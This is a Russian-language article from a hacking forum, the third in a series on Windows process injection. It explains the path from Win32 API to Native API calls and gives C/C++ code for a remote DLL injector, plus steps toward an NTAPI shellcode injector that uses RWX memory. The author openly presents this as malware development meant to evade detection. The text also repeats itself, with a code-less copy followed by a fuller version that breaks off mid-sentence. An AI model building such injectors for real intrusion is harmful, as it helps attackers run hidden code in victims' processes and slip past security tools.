Автор: shqnx
Специально для xss.pro
Всех приветствую в данной статье, которая является продолжением в серии "Ставим уколы процессам в Windows" (*Часть 1*, *Часть 2*), желаю приятного чтения. Сразу к делу.
Вы можете спросить, какой в этом смысл? Зачем мы вообще удаляем высокоуровневую абстракцию? Обычно чем больше обёрток мы можем удалить из наших вредоносных программ, тем незаметнее они становятся. Очевидно, что со временем защитные решения с легкостью подхватили эту идею, и обнаружить использование нативных вызовов API не составляет труда, однако в любом случае данная замена имеет смысл.
Процессоры x86 и x64 определяют четыре уровня привилегий (или колец) для защиты системного кода и данных от случайной или злонамеренной перезаписи кодом с меньшими привилегиями. Эти кольца помогают реализовать модель "принцип наименьших привилегий".
Если мы посмотрим на следующую диаграмму, показывающую иерархию этих колец привилегий / колец защиты, то увидим, что ядро находится на самом высоком уровне привилегий (кольцо 0), а приложения, которые мы запускаем, то есть приложения пользовательского режима, находятся на самом низком уровне привилегий (кольцо 3):
Изображении взято с Википедии.
Если ядро использует нулевое кольцо, а пользовательские приложения - третье кольцо, то для чего используются первое и второе кольца и почему Microsoft использует только эти вышеупомянутые кольца 0/3?
Кольцо 0
Ядро. Имеет самые высокие разрешения, имеет доступ ко всему. Может напрямую общаться с аппаратным обеспечением. Если здесь что-то сломается, это может привести к краху всей системы.
Кольцо 1/2
Эти кольца используются такими вещами, как драйвера устройств. Они дают преимущество, которого лишен пользовательский режим (кольцо 3). Эти кольца "в основном" привилегированные, а также обычно не используются в x86.
Кольцо 3
Если вы запускаете приложение, оно будет находиться именно здесь. Такие вещи, как веб-браузер, текстовый редактор, игры и так далее, запускаются в пользовательском режиме. Здесь самый низкий уровень разрешений. Это позволяет им давать сбои и не ломать при этом всю систему.
Чтобы получить представление о том, что происходит при вызове функции, давайте рассмотрим функциональную схему.
Когда мы используем стандартную функцию Win32 API, например WriteFile, ядро не выполняет эту функцию сразу же. Совсем наоборот. Функция проходит через некоторые "приключения", прежде чем, наконец, окажется в режиме ядра.
Мы видим, что программа (приложение пользователя) начинается с вызова функции WriteFile, которая экспортируется из библиотеки Kernel32.dll. Этот модуль также отвечает за экспорт большинства, если не всех, функций Win32 API, которые мы использовали до сих пор. Мы уже знаем об этом из моей предыдущей статьи, в частности, из раздела "Создание программы".
После Kernel32.dll функция переходит в ntdll.dll. Что это такое? NTDLL - это последняя большая остановка, которую делает ваша функция перед тем, как пересечь порог пространства ядра через инструкции syscall, sysenter или int 2eh. Он экспортирует Native API (NTAPI) так же, как Kernel32 экспортирует Win32 API. Давайте рассмотрим пример программы, как показано ниже:
Чтобы разобраться с вызовами API и увидеть, какие функции используют наши функции, мы можем воспользоваться невероятным инструментом под названием "API Monitor".
Начните с открытия API Monitor (она чувствительна к архитектуре, поэтому убедитесь, что вы открыли версию, соответствующую архитектуре, для которой вы создали программу). Важно указать модули, для которых мы хотим отслеживать вызовы API. Поскольку в этой программе мы используем Win32 API, выберем Kernel32.dll:
После этого мы можем либо перейти к поиску конкретных функций (OpenProcess и CloseHandle), либо просто выбрать категорию функций, обозначенную именами папок. OpenProcess относится к разделу System Services > Processes and Threads, а CloseHandle - к разделу System Services > Windows System Information > Handles and Objects.
Давайте сделаем это:
То же самое нам нужно сделать и для модуля NTDLL:
Теперь мы можем перейти к подключению нашего процесса к этой программе. Чтобы запустить нашу программу и посмотреть, какие функции она вызывает, мы можем настроить параметры запуска в File > Monitor New Process и нажать OK:
Открывается новая командная строка, и наша программа останавливается на фразе "Нажмите Enter для выхода". Что еще более важно, мы видим, что наш вызов OpenProcess перехвачен, и мы видим NTAPI-аналог для него:
Мы видим, что наша функция OpenProcess транслируется в NTAPI более низкого уровня NtOpenProcess. Более того, эта программа показывает нам и параметры этой функции NtOpenProcess.
Возникает вопрос, что же это за штука такая - KERNELBASE.dll и откуда она взялась? KERNELBASE была создана Microsoft, чтобы выступать в качестве "прокси" для ваших вызовов API. Если мы посмотрим на документацию, то увидим, что она обсуждается здесь:
До сих пор наша функция шла по этому пути:
1. OpenProcess (KERNEL32)
2. OpenProcess (KERNELBASE)
3. (Zw/Nt)OpenProcess (NTDLL)
Существует множество способов посмотреть, как выглядит ассемблерный стаб функции KERNELBASE и это важно для нас, потому что это также позволит нам увидеть, как функция из KERNELBASE попадает в NTDLL. Я использую x64dbg, но вы можете легко сделать это в IDA, WinDbg и так далее. В разделе "Отладочные символы" мы можем выбрать модуль kernelbase.dll и найти символ OpenProcess:
Дважды щелкнув по этому адресу, а затем просмотрев эту функцию в режиме "Граф" в x64dbg, мы увидим следующее:
Отсюда мы видим следующую инструкцию в стабе: call qword ptr ds:[<NtOpenProcess>]. Это ссылка на NTAPI внутри NTDLL. Если мы щелкнем на имени этой функции, то сможем наконец увидеть, как эти функции работают и как функции NTAPI вызываются с помощью соответствующих системных вызовов:
В данном случае номер системного вызова этой функции (26h) перемещается в регистр eax, затем вызывается инструкция syscall (или int 2e) - после чего функция выполняется. Мы углубимся в эту тему в следующей статье, которая будет посвящена системным вызовам. Как мы уже видели, функции NTAPI отличаются именами, начинающимися с Nt или Zw. В пользовательском режиме они экспортируются из NTDLL, а в режиме ядра - из модуля NTOSKRNL. При выполнении этих функций они возвращают значение "NTSTATUS". Таких возвращаемых значений существует целая тонна.
Одна из более "практичных" причин, по которой люди не используют NTAPI, заключается в том, что поскольку он ниже, чем API более высокого уровня (надежный/легкий в использовании), он требует больше возни, чтобы заставить его работать правильно.
Ознакомившись с NTAPI и рассмотрев некоторые из его потенциальных проблем, давайте приступим к созданию нашей программы.
Я слегка упростил программу из предыдущей статьи, в данный момент она выглядит следующим образом:
Начнем с того, что поменяем местами одну из функций. Я собираюсь поменять CreateRemoteThread на NtCreateThreadEx. Давайте посмотрим на синтаксис этой функции. Я буду черпать информацию из очень хорошего ресурса - файлов PHNT.
Из приведенной выше ссылки мы видим следующий синтаксис, который мы будем использовать для создания прототипа функции:
Мы могли бы просто вставить это в наш код, однако тут потребуются некоторые дополнительные настройки. Самое главное, с чем нам нужно разобраться - это структуры POBJECT_ATTRIBUTE и PPS_ATTRIBUTE_LIST, присутствующие в функции. Эти строки ссылаются на структуры _OBJECT_ATTRIBUTE и _PS_ATTRIBUTE_LIST. Буква "P" перед ними означает, что этот параметр является указателем на указанные структуры.
Итак, поскольку наша функция требует этих структур, мы должны включить их в наш проект. Вы можете включить все в один файл, но для нас будет лучше сделать заголовочный файл для хранения всего этого, чтобы мы могли просто работать над нашей программой инъекций без лишнего мусора повсюду. Итак, в Visual Studio создадим новый проект, создадим новый заголовочный файл headerFile.h и включим в него следующее:
Теперь вы заметите проблему структур, когда просто поместите приведенный выше код в заголовочный файл:
Итак, где мы можем найти эти структуры? Как узнать, какие члены нам нужно включить в наши определения? Ну, здесь у нас есть два варианта. Либо мы сами вручную набираем их, либо, более "здравый" (но менее веселый) подход - взять их с таких сайтов, как Vergilius, ReactOS и так далее. Я буду использовать Vergilius для структуры _OBJECT_ATTRIBUTES. Если мы отправимся на сайт и найдем путь к нашей текущей сборке Windows, которую можно получить, выполнив команду winver в оболочке:
Мы можем начать поиск структур, запросим структуру _OBJECT_ATTRIBUTES, как показано здесь:
Затем мы можем щелкнуть по ней и посмотреть, как выглядит структура:
Обязательно добавьте ключевое слово typedef перед "struct", поскольку мы пытаемся использовать его во внешнем файле. Кроме того, мы должны дать ему имена, поскольку Vergilius дает нам только члены в нем и имя в верхней части определения, мы должны вручную определить имя структуры и имя указателя: OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES. Теперь мы избавились от одной красной подчеркивающей линии, осталось убрать и другую:
Со следующей структурой, _PS_ATTRIBUTE_LIST, к сожалению, не все так просто. Если мы поищем эту структуру на Vergilius, то увидим, что на самом деле ее там нет, а значит, придется использовать что-то другое. Я нашел следующий ресурс для этой структуры - (*кликабельно*).
Из приведенного выше репозитория видно, что структура _PS_ATTRIBUTE_LIST выглядит следующим образом:
Но пока мы не можем ее использовать. Эта структура ссылается на другую структуру в строке: PS_ATTRIBUTE Attributes[2];. Из-за этого нам также нужно захватить структуру _PS_ATTRIBUTE, которую мы можем найти прямо над структурой _PS_ATTRIBUTE_LIST из данного ресурса.
Теперь, после включения этих двух структур в наш заголовочный файл, мы готовы приступить к программированию и не видим никаких раздражающих красных линий.
Теперь давайте приступим к нашей программе для инъекции.
Эта функция принимает имя модуля, к которому вы хотите получить дескриптор, и пытается получить к нему дескриптор - если она не может его получить, то есть если GetModuleHandleW возвращает NULL, она просто вернет NULL. Переходим к функции main:
Все это выглядит стандартно по сравнению с тем, что мы делали до сих пор, за исключением инициализации переменной handleNTDLL, в которой будет храниться базовый адрес модуля NTDLL, когда мы, наконец, получим к нему доступ с помощью функции getMod. Единственное отличие, которое мы можем заметить, это включение этой переменной - OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };.
Это здесь потому, что NtCreateThreadEx нуждается в указателе на эту структуру для одного из своих аргументов, рассмотрим это более подробно позже. А сейчас продолжим написание кода:
Мы получаем дескриптор процесса, на который указывает PID. После этого мы используем наши функции getMod, чтобы получить дескриптор NTDLL и Kernel32. Почему именно эти два модуля?
Kernel32 -> Он нужен нам для функции LoadLibrary, чтобы мы могли загрузить наш модуль в память процесса и запустить точку входа нашей DLL (DllMain).
NTDLL -> Нам нужно получить дескриптор NTDLL, потому что у нас есть прототип функции. Нам нужно заполнить наш прототип функции адресом функции, которую мы пытаемся использовать. Мы пытаемся использовать NtCreateThreadEx, которая находится в NTDLL, поэтому мы будем искать ее в этом модуле, а когда найдем, она будет присвоена нашему прототипу функции NtCreateThreadEx, который мы определили в заголовочном файле headerFile.h.
После этого мы заполняем наш прототип функции NtCreateThreadEx. Далее мы обращаемся к Kernel32 в поисках LoadLibraryW. Мы передаем ее в PTHREAD_START_ROUTINE, чтобы сообщить вновь созданному потоку, что мы хотим, чтобы это была начальная точка для потока.
Мы выделяем буфер в памяти процесса с правами PAGE_READWRITE и записываем путь к DLL в этот выделенный буфер. Теперь осталось только использовать нашу функцию NTAPI NtCreateThreadEx, которую мы назвали xssisCreateThreadEx. На данный момент она уже готова.
!!
Функции NTAPI возвращают NTSTATUS. Поэтому мы не можем использовать здесь HANDLE, как это было в предыдущих примерах:
Поскольку эта функция будет возвращать NTSTATUS, мы хотим проверить, возвращает ли она одно из значений, показанных здесь.
Более конкретно, мы хотим посмотреть, возвращается ли значение STATUS_SUCCESS NTSTATUS, которое, как мы видим, имеет следующее значение:
На той же странице мы можем увидеть, что на самом деле означает это значение/код:
Мы можем определить это значение в нашем заголовочном файле, чтобы сделать некоторую обработку ошибок для нашей функции xssisCreateThreadEx. Итак, давайте зададим следующую строку:
После этого мы можем приступить к заполнению аргументов нашей функции xssisCreateThreadEx:
Первый аргумент (ThreadHandle) - это указатель на переменную handleThread, которая будет содержать базовый адрес дескриптора потока при его создании. Второй параметр (DesiredAccess) - это доступ, который мы хотим получить для вновь созданного потока. Мы можем просто указать THREAD_ALL_ACCESS в качестве аргумента.
Следующий аргумент (ObjectAttributes) - это указатель на созданную нами структуру OBJECT_ATTRIBUTES. Мы присвоили эту структуру нашей переменной OA, поэтому давайте передадим ее для этого аргумента:
Далее мы передаем дескриптор нашего процесса в параметр ProcessHandle:
StartRoutine - это следующий параметр, и мы можем поставить нашу функцию LoadLibraryW (xssisCreateThreadEx), созданную на основе PTHREAD_START_ROUTINE:
Мы почти закончили. Argument - это следующий параметр, и хотя он называется по-другому, это будет просто buffer, который мы создали, так как в нем будет храниться dllPath на данном этапе:
Следующие параметры будут равны NULL или 0.
1. CreateFlags -> FALSE
2. ZeroBits -> NULL
3. StackSize -> NULL
4. MaximumStackSize -> NULL
5. AttributeList -> NULL
После выполнения этой функции мы можем провести тест, чтобы узнать, является ли возвращаемое ею значение NTSTATUS значением STATUS_SUCCESS или нет. Затем мы можем завершить работу и приступить к очистке:
Теперь, если мы подождем завершения потока (которое произойдет только после того, как мы нажмем кнопку OK), программа начнет очистку:
Мы только что успешно заменили одну функцию Win32 API на ее аналог NTAPI из NTDLL. В следующем разделе мы заменим все функции Win32 API их аналогами из Native API для программы из моей статьи про инъекцию шелл-кода.
Если кому-либо нужен полный код того, что мы только что проделали, то вот он:
Win32 API:
NTAPI:
Перед тем как настроить нашу программу на использование всех этих функций, нам нужно сделать немного дополнительных настроек, поскольку мы будем использовать исключительно функции NTDLL/NTAPI. Первым делом необходимо создать заголовочный файл headerFile.h, затем добавим в него следующее:
Взято с MSDN.
Мы видим наши типичные параметры, такие как ProcessHandle и DesiredAccess, но что насчет этих двух новых параметров: ObjectAttributes (_OBJECT_ATTRIBUTES) и ClientId (_CLIENT_ID)? На самом деле это недокументированные структуры, которые требуются нашей функции, поэтому и потребовалась вышеописанная настройка. Мы вкратце поговорили об этом ранее, так что для вас это не должно быть чем-то необычным. Используя веб-сайт, на котором задокументированы тонны этих структур, как на этом сайте, мы можем легко включить их в наши программы. Ранее я уже упоминал, как именно это делается.
Итак, что мы имеем на данный момент из подготовительной части данной статьи:
Определив структуру _OBJECT_ATTRIBUTES, перейдем к следующей структуре, необходимой NtOpenProcess, а именно к _CLIENT_ID.
Давайте определим и ее в нашей программе:
Это необходимая структура для NtOpenProcess().
Осталось только обсудить структуру _UNICODE_STRING:
Откуда она взялась? В случае с двумя другими структурами их происхождение имеет определенный смысл, поскольку функция, которую мы пытаемся использовать, требует их наличия. Однако эта структура не кажется очевидной для использования. Возможно, вы заметите, что ответ все это время находился прямо перед нашими глазами. Взгляните на структуру _OBJECT_ATTRIBUTES еще раз и посмотрите, сможете ли вы понять, где на самом деле требуется вышеупомянутая структура:
Помните, что не только функции нуждаются в структурах. Иногда структуры могут нуждаться в структурах. Это определенно относится к структуре _OBJECT_ATTRIBUTES, поскольку она указывает на структуру _UNICODE_STRING для параметра ObjectName.
Поэтому нам необходимо создать структуру _UNICODE_STRING для структуры _OBJECT_ATTRIBUTES. После того, как все готово, давайте обсудим, как мы можем сделать дамп этих структур вручную.
Мы сделали дамп структуры и он показывает нам то же самое, что и сайт типа Vergilius:
То же самое относится и к структуре _CLIENT_ID:
И снова мы получили те же результаты от чего-то вроде Vergilius:
Теперь, когда все структуры определены и готовы к использованию, давайте перейдем к созданию остальной части программы. И последнее: пусть вас не обманывает название "структуры ядра", они на 100% могут использоваться и в пользовательском режиме. Собственно говоря, именно этим мы здесь и занимаемся.
Теперь возникает вопрос, где найти прототипы этих функций, чтобы мы могли их внедрить? Для этого существуют различные способы. Один из моих любимых способов - обратиться к файлам Process Hacker Native API (PHNT).
В этом репозитории хранятся специфические NTAPI функции/структуры, которые использует проект System Informer. Это полезный для нас репозиторий, поскольку в нем присутствуют функции NTAPI и структуры ядра. Поскольку мы хотим разобраться с процессом, давайте поищем NtOpenProcess.
Используя приведенный выше синтаксис, мы можем включить его в наш заголовочный файл headerFile.h следующим образом:
Итак, мы успешно создали прототип для нашей функции NtOpenProcess. По аналогии сделаем это для остальных (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx).
Когда заголовочный файл готов, мы можем приступить к созданию основной программы для инъекции. Мы уже рассмотрели, как делать большинство шагов в подготовительной части данной статьи.
Во-первых, мы начинаем с определения STATUS_SUCCESS, который будет использоваться только в одной части нашего кода. Если быть точнее, то для обработки ошибок. Давайте посмотрим на структуры, которые мы инициализируем:
Важно отметить, что это можно сделать несколькими способами. Общая идея заключается в том, что мы пытаемся передать PID члену UniqueProcess структуры _CLIENT_ID, который мы присвоили CID. Вы также можете сделать это следующим образом:
Теперь давайте перейдем к следующей структуре. Мы обозначаем первую часть - длину с размером самой структуры _OBJECT_ATTRIBUTES. Затем мы инициализируем остальную часть структуры, сделав ее NULL. Далее мы можем начать с заполнения наших прототипов функций фактическими адресами функций из NTDLL:
После того как мы заполнили все прототипы наших функций, мы можем приступить к части нашей программы, отвечающей за инъекцию.
Давайте начнем с получения информации о нашем целевом процессе с помощью NtOpenProcess:
Первый параметр, ProcessHandle, является указателем на переменную handleProcess, которую мы объявили:
Следующий параметр, DesiredAccess - это права доступа, которые мы хотим получить для нашего процесса после того, как получим к нему доступ. В данном случае мы сделаем PROCESS_ALL_ACCESS.
Третий параметр, ObjectAttributes, - это указатель на ту структуру OBJECT_ATTRIBUTES, которую мы создали в начале нашей программы. Мы назвали ее OA:
Последний параметр, ClientId, является необязательным типом ввода и представляет собой указатель на структуру CLIENT_ID, которую мы задали в начале нашей программы. Мы назвали ее CID:
Теперь мы можем проверить возвращаемое значение этой функции и убедиться, что оно равно STATUS_SUCCESS, что свидетельствует об успешном выполнении нашей функции:
Далее нам нужно выделить процессу область памяти с помощью NtAllocateVirtualMemory. Итак, как и в случае с NtOpenProcess, давайте пройдемся по параметрам один за другим.
Первый параметр, ProcessHandle - это дескриптор нашего процесса.
Следующий параметр, BaseAddress, представляет собой указатель на сам буфер, в данном случае это будет buffer:
Следующий параметр, ZeroBits, для нас не важен, поэтому мы просто установим его в NULL.
Далее идет RegionSize, это указатель на размер нашего шелл-кода, shellcodeSize. Итак, давайте включим это:
Теперь нам нужно задать тип выделения нашего буфера. Мы хотим зарезервировать и зафиксировать регион, поэтому мы поставим MEM_COMMIT | MEM_RESERVE.
Теперь настало время установить разрешения для этого региона. Мы просто установим значение RWX, но вы можете использовать NTAPI-эквивалент VirtualProtect для изменения разрешений, чтобы это было менее подозрительно. С RW на RX. Однако сейчас мы оставим в таком виде:
Выделив буфер, мы можем записывать на эту страницу в памяти. Поэтому, используя NtWriteVirtualMemory, давайте сделаем это.
Первый параметр, ProcessHandle, представляет собой... ну, вы уже знаете.
Далее у нас есть BaseAddress, который представляет собой свежесозданную страницу в памяти. Для этого мы предоставим buffer.
Затем мы можем добавить в полезную нагрузку параметр "Buffer", поскольку именно его мы пытаемся записать на страницу:
Далее у нас есть BufferSize, это размер нашей полезной нагрузки - shellcodeSize:
Наконец, у нас есть указатель на количество записанных байт. Он нам не нужен, но я люблю включать его для наглядности.
Я не буду рассматривать NtCreateThreadEx, потому что я уже рассказывал о ней в первой части статьи, где мы заменили одну функцию Win32 API на ее NTAPI-аналог в программе для DLL-инъекции.
После этого нам остается только дождаться завершения потока:
Вот мы и выполнили инъекцию, используя только NTAPI-аналоги функций из Win32 API. Еще более низкий уровень - это системные вызовы, о них поговорим в следующий раз. Всем спасибо за внимание.
Специально для xss.pro
Всех приветствую в данной статье, которая является продолжением в серии "Ставим уколы процессам в Windows" (*Часть 1*, *Часть 2*), желаю приятного чтения. Сразу к делу.
Введение и краткий экскурс
Возможно, вы уже знаете, что существует Win32 API и Native API (иначе известный как NTAPI). В этой статье мы рассмотрим, как функции, которые вы используете из стандартного Windows API, переводятся на более низкий уровень - NTAPI / системные вызовы. После этого мы проапгрейдим инжектор из прошлой статьи, вместо использования только Win32 API мы заменим одну функцию на ее NTAPI аналог для примера, а далее мы создадим полноценную NTAPI версию инжектора шелл-кода из первой части данной серии статей.Вы можете спросить, какой в этом смысл? Зачем мы вообще удаляем высокоуровневую абстракцию? Обычно чем больше обёрток мы можем удалить из наших вредоносных программ, тем незаметнее они становятся. Очевидно, что со временем защитные решения с легкостью подхватили эту идею, и обнаружить использование нативных вызовов API не составляет труда, однако в любом случае данная замена имеет смысл.
Режим пользователя и режим ядра
Очень важно уделить достаточно времени и усилий пониманию этих режимов доступа к процессору, потому что вы будете постоянно слышать эти два термина во время разработки вредоносного ПО. И не без оснований. Многие вещи, такие как античиты, антивирусы, EDR и так далее, работают в режиме ядра. Они делают это потому, что работа в режиме ядра дает вам доступ ко всем частям операционной системы. А это, в свою очередь, является очень важным преимуществом, если вы занимаетесь обнаружением и защитой от вредоносного ПО.Процессоры x86 и x64 определяют четыре уровня привилегий (или колец) для защиты системного кода и данных от случайной или злонамеренной перезаписи кодом с меньшими привилегиями. Эти кольца помогают реализовать модель "принцип наименьших привилегий".
Если мы посмотрим на следующую диаграмму, показывающую иерархию этих колец привилегий / колец защиты, то увидим, что ядро находится на самом высоком уровне привилегий (кольцо 0), а приложения, которые мы запускаем, то есть приложения пользовательского режима, находятся на самом низком уровне привилегий (кольцо 3):
Изображении взято с Википедии.
Если ядро использует нулевое кольцо, а пользовательские приложения - третье кольцо, то для чего используются первое и второе кольца и почему Microsoft использует только эти вышеупомянутые кольца 0/3?
Кольцо 0
Ядро. Имеет самые высокие разрешения, имеет доступ ко всему. Может напрямую общаться с аппаратным обеспечением. Если здесь что-то сломается, это может привести к краху всей системы.
Кольцо 1/2
Эти кольца используются такими вещами, как драйвера устройств. Они дают преимущество, которого лишен пользовательский режим (кольцо 3). Эти кольца "в основном" привилегированные, а также обычно не используются в x86.
Кольцо 3
Если вы запускаете приложение, оно будет находиться именно здесь. Такие вещи, как веб-браузер, текстовый редактор, игры и так далее, запускаются в пользовательском режиме. Здесь самый низкий уровень разрешений. Это позволяет им давать сбои и не ломать при этом всю систему.
Чтобы получить представление о том, что происходит при вызове функции, давайте рассмотрим функциональную схему.
Когда мы используем стандартную функцию Win32 API, например WriteFile, ядро не выполняет эту функцию сразу же. Совсем наоборот. Функция проходит через некоторые "приключения", прежде чем, наконец, окажется в режиме ядра.
Мы видим, что программа (приложение пользователя) начинается с вызова функции WriteFile, которая экспортируется из библиотеки Kernel32.dll. Этот модуль также отвечает за экспорт большинства, если не всех, функций Win32 API, которые мы использовали до сих пор. Мы уже знаем об этом из моей предыдущей статьи, в частности, из раздела "Создание программы".
После Kernel32.dll функция переходит в ntdll.dll. Что это такое? NTDLL - это последняя большая остановка, которую делает ваша функция перед тем, как пересечь порог пространства ядра через инструкции syscall, sysenter или int 2eh. Он экспортирует Native API (NTAPI) так же, как Kernel32 экспортирует Win32 API. Давайте рассмотрим пример программы, как показано ниже:
C++:
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 2) {
puts("Пример использования: handle.exe <PID>");
return 1;
}
DWORD processID = atoi(argv[1]);
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
printf("Дескриптор процесса получен: 0x%p\n", handleProcess);
puts("Нажмите Enter для выхода");
getchar();
CloseHandle(handleProcess);
return 0;
}
Чтобы разобраться с вызовами API и увидеть, какие функции используют наши функции, мы можем воспользоваться невероятным инструментом под названием "API Monitor".
Начните с открытия API Monitor (она чувствительна к архитектуре, поэтому убедитесь, что вы открыли версию, соответствующую архитектуре, для которой вы создали программу). Важно указать модули, для которых мы хотим отслеживать вызовы API. Поскольку в этой программе мы используем Win32 API, выберем Kernel32.dll:
После этого мы можем либо перейти к поиску конкретных функций (OpenProcess и CloseHandle), либо просто выбрать категорию функций, обозначенную именами папок. OpenProcess относится к разделу System Services > Processes and Threads, а CloseHandle - к разделу System Services > Windows System Information > Handles and Objects.
Давайте сделаем это:
То же самое нам нужно сделать и для модуля NTDLL:
Теперь мы можем перейти к подключению нашего процесса к этой программе. Чтобы запустить нашу программу и посмотреть, какие функции она вызывает, мы можем настроить параметры запуска в File > Monitor New Process и нажать OK:
Открывается новая командная строка, и наша программа останавливается на фразе "Нажмите Enter для выхода". Что еще более важно, мы видим, что наш вызов OpenProcess перехвачен, и мы видим NTAPI-аналог для него:
Мы видим, что наша функция OpenProcess транслируется в NTAPI более низкого уровня NtOpenProcess. Более того, эта программа показывает нам и параметры этой функции NtOpenProcess.
Возникает вопрос, что же это за штука такая - KERNELBASE.dll и откуда она взялась? KERNELBASE была создана Microsoft, чтобы выступать в качестве "прокси" для ваших вызовов API. Если мы посмотрим на документацию, то увидим, что она обсуждается здесь:
До сих пор наша функция шла по этому пути:
1. OpenProcess (KERNEL32)
2. OpenProcess (KERNELBASE)
3. (Zw/Nt)OpenProcess (NTDLL)
Существует множество способов посмотреть, как выглядит ассемблерный стаб функции KERNELBASE и это важно для нас, потому что это также позволит нам увидеть, как функция из KERNELBASE попадает в NTDLL. Я использую x64dbg, но вы можете легко сделать это в IDA, WinDbg и так далее. В разделе "Отладочные символы" мы можем выбрать модуль kernelbase.dll и найти символ OpenProcess:
Дважды щелкнув по этому адресу, а затем просмотрев эту функцию в режиме "Граф" в x64dbg, мы увидим следующее:
Отсюда мы видим следующую инструкцию в стабе: call qword ptr ds:[<NtOpenProcess>]. Это ссылка на NTAPI внутри NTDLL. Если мы щелкнем на имени этой функции, то сможем наконец увидеть, как эти функции работают и как функции NTAPI вызываются с помощью соответствующих системных вызовов:
В данном случае номер системного вызова этой функции (26h) перемещается в регистр eax, затем вызывается инструкция syscall (или int 2e) - после чего функция выполняется. Мы углубимся в эту тему в следующей статье, которая будет посвящена системным вызовам. Как мы уже видели, функции NTAPI отличаются именами, начинающимися с Nt или Zw. В пользовательском режиме они экспортируются из NTDLL, а в режиме ядра - из модуля NTOSKRNL. При выполнении этих функций они возвращают значение "NTSTATUS". Таких возвращаемых значений существует целая тонна.
Возможные проблемы
Самое главное, что вы поймете, когда начнете вникать в различные низкоуровневые штуки - это то, что большинство из них не документировано, а также крайне нестабильно. NTAPI из NTDLL на самом деле не документирован. Конечно, в документации есть несколько примеров и некоторые ссылки на Native API и его функции. Однако Microsoft оставила это в руках наших невероятных братьев и сестер, занимающихся реверс-инжинирингом, чтобы они разобрались в их внутреннем устройстве.Одна из более "практичных" причин, по которой люди не используют NTAPI, заключается в том, что поскольку он ниже, чем API более высокого уровня (надежный/легкий в использовании), он требует больше возни, чтобы заставить его работать правильно.
Ознакомившись с NTAPI и рассмотрев некоторые из его потенциальных проблем, давайте приступим к созданию нашей программы.
Создание программы
Как я уже говорил ранее, в качестве примера для начала мы просто заменим одну из функций Win32 API в программе для DLL-инъекции из моей прошлой статьи на ее NTAPI-аналог. Далее я приведу полноценный аналог, заменив все функции в программе для инъекции шелл-кода на их NTAPI-аналоги, но прежде чем бегать, нам нужно научиться ходить =)Я слегка упростил программу из предыдущей статьи, в данный момент она выглядит следующим образом:
C++:
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 2) {
puts("Пример использования: dllinj.exe <PID>");
return 1;
}
wchar_t dllPath[MAX_PATH] = L"C:\\ПУТЬ\\К\\xssis.dll";
size_t pathSize = sizeof(dllPath);
DWORD processID = atoi(argv[1]);
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
HMODULE handleKernel32 = GetModuleHandleW(L"kernel32");
PTHREAD_START_ROUTINE xssisLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(handleKernel32, "LoadLibraryW");
LPVOID buffer = VirtualAllocEx(handleProcess, NULL, pathSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
WriteProcessMemory(handleProcess, buffer, dllPath, pathSize, NULL);
HANDLE handleThread = CreateRemoteThread(handleProcess, NULL, 0, xssisLoadLibrary, buffer, 0, 0);
WaitForSingleObject(handleThread, INFINITE);
return 0;
}
Начнем с того, что поменяем местами одну из функций. Я собираюсь поменять CreateRemoteThread на NtCreateThreadEx. Давайте посмотрим на синтаксис этой функции. Я буду черпать информацию из очень хорошего ресурса - файлов PHNT.
Из приведенной выше ссылки мы видим следующий синтаксис, который мы будем использовать для создания прототипа функции:
Мы могли бы просто вставить это в наш код, однако тут потребуются некоторые дополнительные настройки. Самое главное, с чем нам нужно разобраться - это структуры POBJECT_ATTRIBUTE и PPS_ATTRIBUTE_LIST, присутствующие в функции. Эти строки ссылаются на структуры _OBJECT_ATTRIBUTE и _PS_ATTRIBUTE_LIST. Буква "P" перед ними означает, что этот параметр является указателем на указанные структуры.
Итак, поскольку наша функция требует этих структур, мы должны включить их в наш проект. Вы можете включить все в один файл, но для нас будет лучше сделать заголовочный файл для хранения всего этого, чтобы мы могли просто работать над нашей программой инъекций без лишнего мусора повсюду. Итак, в Visual Studio создадим новый проект, создадим новый заголовочный файл headerFile.h и включим в него следующее:
C:
#pragma once
#pragma comment (lib, "ntdll")
#include <Windows.h>
#include <stdio.h>
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
/* Прототип функции */
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_ SIZE_T ZeroBits,
_In_ SIZE_T StackSize,
_In_ SIZE_T MaximumStackSize,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList);
Теперь вы заметите проблему структур, когда просто поместите приведенный выше код в заголовочный файл:
Итак, где мы можем найти эти структуры? Как узнать, какие члены нам нужно включить в наши определения? Ну, здесь у нас есть два варианта. Либо мы сами вручную набираем их, либо, более "здравый" (но менее веселый) подход - взять их с таких сайтов, как Vergilius, ReactOS и так далее. Я буду использовать Vergilius для структуры _OBJECT_ATTRIBUTES. Если мы отправимся на сайт и найдем путь к нашей текущей сборке Windows, которую можно получить, выполнив команду winver в оболочке:
Мы можем начать поиск структур, запросим структуру _OBJECT_ATTRIBUTES, как показано здесь:
Затем мы можем щелкнуть по ней и посмотреть, как выглядит структура:
Обязательно добавьте ключевое слово typedef перед "struct", поскольку мы пытаемся использовать его во внешнем файле. Кроме того, мы должны дать ему имена, поскольку Vergilius дает нам только члены в нем и имя в верхней части определения, мы должны вручную определить имя структуры и имя указателя: OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES. Теперь мы избавились от одной красной подчеркивающей линии, осталось убрать и другую:
Со следующей структурой, _PS_ATTRIBUTE_LIST, к сожалению, не все так просто. Если мы поищем эту структуру на Vergilius, то увидим, что на самом деле ее там нет, а значит, придется использовать что-то другое. Я нашел следующий ресурс для этой структуры - (*кликабельно*).
Из приведенного выше репозитория видно, что структура _PS_ATTRIBUTE_LIST выглядит следующим образом:
